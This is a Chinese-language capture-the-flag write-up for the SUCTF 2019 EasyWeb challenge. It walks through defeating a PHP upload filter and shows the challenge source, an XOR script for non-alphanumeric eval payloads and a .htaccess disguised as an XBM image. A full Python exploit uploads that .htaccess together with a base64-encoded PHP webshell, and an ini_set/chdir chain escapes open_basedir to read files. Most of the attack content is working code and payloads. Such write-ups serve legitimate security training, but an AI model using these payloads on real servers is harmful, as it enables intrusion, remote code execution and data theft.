[SUCTF 2019]EasyWeb
[SUCTF 2019]EasyWeb
知識點:
-
無數字字母shell
-
利用.htaccess上傳檔案
-
繞過open_basedir
-
繞過
exif_imagetype()
函式也就是將檢查我們上傳的檔案,並返回一個常量,否則返回false,那我們要讓
.htaccess
檔案繞過它,就要針對它的檢測特性去構造資料,因為它最終要返回常量,那我們就要讓這個函式認為.htaccess
為一個合法的影象型別其中常量包括:
採用xbm格式,X Bit Map
在這個檔案中高和寬都是有#在前面的,那麼我們即使把它放在
.htaccess
檔案中也不會影響.htaccess
的實際執行效果,所以新的.htaccess
#define width 1337 # Define the width wanted by the code (and say we are a legit xbitmap file lol) #define height 1337 # Define the height AddType application/x-httpd-php .php16 # Say all file with extension .php16 will execute php php_value zend.multibyte 1 # Active specific encoding (you will see why after :D) php_value zend.detect_unicode 1 # Detect if the file have unicode content php_value display_errors 1 # Display php errors
解題:
原始碼:
<?php function get_the_flag(){ // webadmin will remove your upload file every 20 min!!!! $userdir = "upload/tmp_".md5($_SERVER['REMOTE_ADDR']); if(!file_exists($userdir)){ mkdir($userdir); } if(!empty($_FILES["file"])){ $tmp_name = $_FILES["file"]["tmp_name"]; $name = $_FILES["file"]["name"]; $extension = substr($name, strrpos($name,".")+1); if(preg_match("/ph/i",$extension)) die("^_^"); if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die("^_^"); if(!exif_imagetype($tmp_name)) die("^_^"); $path= $userdir."/".$name; @move_uploaded_file($tmp_name, $path); print_r($path); } } $hhh = @$_GET['_']; if (!$hhh){ highlight_file(__FILE__); } if(strlen($hhh)>18){ die('One inch long, one inch strong!'); } if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh) ) die('Try something else!'); $character_type = count_chars($hhh, 3); if(strlen($character_type)>12) die("Almost there!"); eval($hhh); ?>
我們就需要通過eval
呼叫get_the_flag
函式,然後上傳馬兒檔案,
首先是不能有字母不能有數字,我們可以用指令碼:
<?php
$payload = '';
for($i=0;$i<strlen($argv[1]);$i++)
{
for($j=0;$j<255;$j++)
{
$k = chr($j)^chr(255); //dechex(255) = ff
if($k == $argv[1][$i])
$payload .= '%'.dechex($j);
}
}
echo $payload;
最後構成這樣的paylod:
${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=phpinfo
再把phpinfo
改成get_the_flag
即可
繞過如下:
我們看到get_the_flag
函式,可以知道,第一次過濾了ph
字串即不可以用php偽協議
。第二次過濾了檔案中有<?
的,又因為用是php7點多所以<script>
不可。第三次判斷了檔案是否為圖片型別。
我們先上傳一個.htaccess
考慮到要讓他上傳後被正常解析且還要符合圖片的格式,我們先到了htaccess
中的#註釋還有把該行用\x00
開頭,這樣配置檔案也會把該行作為無效行解析。這樣我們就可以上傳.htaccess
檔案了。
解釋一下htaccess
的配置資訊的意思
AddType application/x-httpd-php .test ###將1.test以php的方式解析
php_value auto_append_file "php://filter/convert.base64-decode/resource=/var/www/html/upload/tmp_fd40c7f4125a9b9ff1a4e75d293e3080/1.test"
##在1.test載入完畢後,再次包含base64解碼後的1.test,成功getshell,所以這也就是為什麼會出現兩次
上傳的1.test
也需要進行繞過,可以使用base64
編碼繞過,也可以是utf16
:
import requests
import base64
url="http://48526d4d-1118-40c3-895f-b7cd0eeb5b02.node3.buuoj.cn/?_=${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=get_the_flag"
htaccess=b"""\x00\x00\x85\x48\x85\x18
AddType application/x-httpd-php .test
php_value auto_append_file "php://filter/convert.base64-decode/resource=/var/www/html/upload/tmp_2c67ca1eaeadbdc1868d67003072b481/1.test" ##這裡需要替換為自己上傳的檔名
"""
shell=b"GIF89a"+b"aa"+base64.b64encode(b"<?php @eval($_POST[cmd])?>") #aa為了滿足base64演算法湊足八個位元組
#first_upload ---- to upload .htaccess
files1={
'file':('.htaccess',htaccess,'image/jpeg')
}
r1=requests.post(url=url,files=files1)
print (r1.text)
#second_upload ---- to upload .shell
#
files2={
'file':('1.test',shell)
}
r1=requests.post(url,files=files2)
print (r1.text)
訪問http://48526d4d-1118-40c3-895f-b7cd0eeb5b02.node3.buuoj.cn/upload/tmp_a124eb0000450f51750619887472f40f/1.test
即可,連線上螞蟻的劍,發現限制了目錄穿越,直接:
/upload/tmp_a124eb0000450f51750619887472f40f/1.test?cmd=chdir('img');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');print_r(file_get_contents('/THis_Is_tHe_F14g'));
即可